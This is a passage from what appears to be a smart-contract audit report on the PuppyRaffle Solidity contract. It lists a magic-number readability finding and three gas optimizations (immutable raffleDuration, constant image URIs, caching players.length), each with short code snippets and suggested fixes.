The `PuppyRaffle::selectWinner` function uses several magic numbers in its calculations:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;  // 80% prize pool
uint256 fee = (totalAmountCollected * 20) / 100;        // 20% fee
```

This usage of hardcoded values (80 and 20) for prize distribution makes the code difficult to understand and prone to errors if modifications are needed in the future. A developer who is unaware of the exact purpose of these numbers could incorrectly modify the prize distribution logic, potentially resulting in an unfair raffle outcome.

Recommended Mitigation:

1. **Replace Magic Numbers with Constants:**
   To improve maintainability and readability, replace all magic numbers with descriptive constant variables. For example, the 80% prize pool and 20% fee can be stored as constants:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

Gas

[G-1] Gas Optimization: `PuppyRaffle::raffleDuration` Should Be Immutable

Description:
In the `PuppyRaffle` contract, the variable `PuppyRaffle::raffleDuration` is defined as a mutable public state variable. This variable is intended to represent the duration of the raffle and should remain constant throughout the contract's lifecycle.

The `PuppyRaffle::raffleDuration` should be immutable, meaning its value should be assigned once during contract initialization and should never be changed afterward. This would optimize the contract by reducing gas consumption.

Impact:
Allowing `PuppyRaffle::raffleDuration` to be mutable has several negative implications:

1. **Increased Gas Costs:** Storing a mutable value that doesn't need to change requires more gas than necessary.
2. **Decreased Contract Efficiency:** Mutability in this context is redundant because the raffle duration is constant. It introduces unnecessary complexity and increases the gas cost for every transaction that interacts with this variable.

Proof of Concept:
In the current contract, `PuppyRaffle::raffleDuration` is declared as a mutable public state variable. This is unnecessary since the raffle duration remains constant once set at deployment.

```
uint256 public raffleDuration;
```

Recommended Mitigation:

To mitigate this issue, consider the following actions:

1. **Mark `PuppyRaffle::raffleDuration` as immutable:**
   Declare `PuppyRaffle::raffleDuration` as immutable to ensure that it is only assigned during contract initialization and cannot be modified afterward. This approach will save gas by eliminating unnecessary write operations and will increase contract security by preventing unauthorized changes.
2. **Audit Other Variables:**
   Review other state variables in the contract that may not need to change after initialization. If they can be marked as immutable, this will further optimize the contract and reduce gas usage.
3. **Follow Best Practices for Gas Optimization:**
   By marking variables like `PuppyRaffle::raffleDuration` as immutable, you are adhering to best practices for gas optimization, making your contract more efficient and cost-effective in the long run.

By implementing these changes, you will optimize the `PuppyRaffle` contract, reduce unnecessary gas consumption, and make the raffle more secure and efficient.

[G-2] Use of non-constant state variables for URIs in `PuppyRaffle` contract can lead to inefficient gas consumption

Description:
In the `PuppyRaffle` contract, certain values, such as the URIs for images, are declared as non-constant state variables. Specifically, the variables `PuppyRaffle::commonImageUri`, `PuppyRaffle::rareImageUri`, and `PuppyRaffle::legendaryImageUri` are declared as `string` types, but they do not change during the contract's lifecycle.

Impact:
Using non-constant variables for values that do not change during the contract's execution unnecessarily consumes gas. When these values are stored in contract storage, it requires additional operations, leading to higher transaction costs. In contrast, using `constant` variables would embed the values directly in the contract bytecode, significantly reducing gas usage for read operations. This results in inefficiency and increased costs for interacting with the contract.

Proof of Concept:
Consider the following variables in the `PuppyRaffle` contract:

```
string private commonImageUri =
"ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";

string private rareImageUri =
"ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";

string private legendaryImageUri =
"ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

Recommended Mitigation:

To optimize gas usage and improve contract efficiency, consider the following recommendations:

1. **Mark the image URIs as `constant`:**
   Update the variables `PuppyRaffle::commonImageUri`, `PuppyRaffle::rareImageUri`, and `PuppyRaffle::legendaryImageUri` to `constant`. This will embed their values directly in the bytecode, reducing the need for storage operations and improving gas efficiency.

   Example:

   ```
   string private constant commonImageUri =
   "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
   ```

```
    string private constant rareImageUri =
    "ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";

    string private constant legendaryImageUri =
    "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[G-3] Gas inefficiency due to accessing `PuppyRaffle::players.length` multiple times in a loop

Description:
In the `PuppyRaffle::enterRaffle` function, the code accesses the `PuppyRaffle::players.length` storage variable multiple times inside a nested loop. Each access to a storage variable in Solidity is a costly operation in terms of gas. By accessing `PuppyRaffle::players.length` repeatedly within the loops, the contract unnecessarily increases the gas consumption, leading to inefficient execution.

Impact:
The repeated access to `PuppyRaffle::players.length` in the loop increases the gas cost, especially when there are many players. This gas inefficiency may result in higher transaction costs and discourage users from interacting with the contract, particularly as the number of participants grows. It can also cause a denial of service (DoS) by pricing out users due to high gas costs, impacting the scalability of the raffle contract.

Proof of Concept:
The issue can be demonstrated by observing how gas usage increases with the number of players. When the loop repeatedly accesses `PuppyRaffle::players.length` during each iteration, the gas usage scales inefficiently.

A potential test case to observe this could look like this:

```
// PuppyRaffleTest.t.sol

function testGasInefficiency() public {
    // Assuming a pre-populated raffle with players
    uint256 initialGas = gasleft();
    PuppyRaffle raffle = new PuppyRaffle(1 ether, address(this), 30 days);

    // Add 1000 players to simulate the scenario
    for (uint256 i = 0; i < 1000; i++) {
        raffle.enterRaffle{value: 1 ether}();
    }

    uint256 finalGas = gasleft();
    uint256 gasUsed = initialGas - finalGas;
    console.log("Gas used by the raffle with 1000 players:", gasUsed);
}
```

The test would show a significant increase in gas usage when the number of players increases due to redundant accesses to `PuppyRaffle::players.length`

Recommended Mitigation:

To optimize gas usage and improve contract efficiency, consider the following recommendations:

Store `PuppyRaffle::players.length` in a local variable:
Accessing the length of an array repeatedly inside loops can be avoided by storing the value in a local variable before entering the loop. This eliminates redundant storage reads, improving gas efficiency.

Example:

```
uint256 playerCount = players.length;
for (uint256 i = 0; i < playerCount - 1; i++) {
    for (uint256 j = i + 1; j < playerCount; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```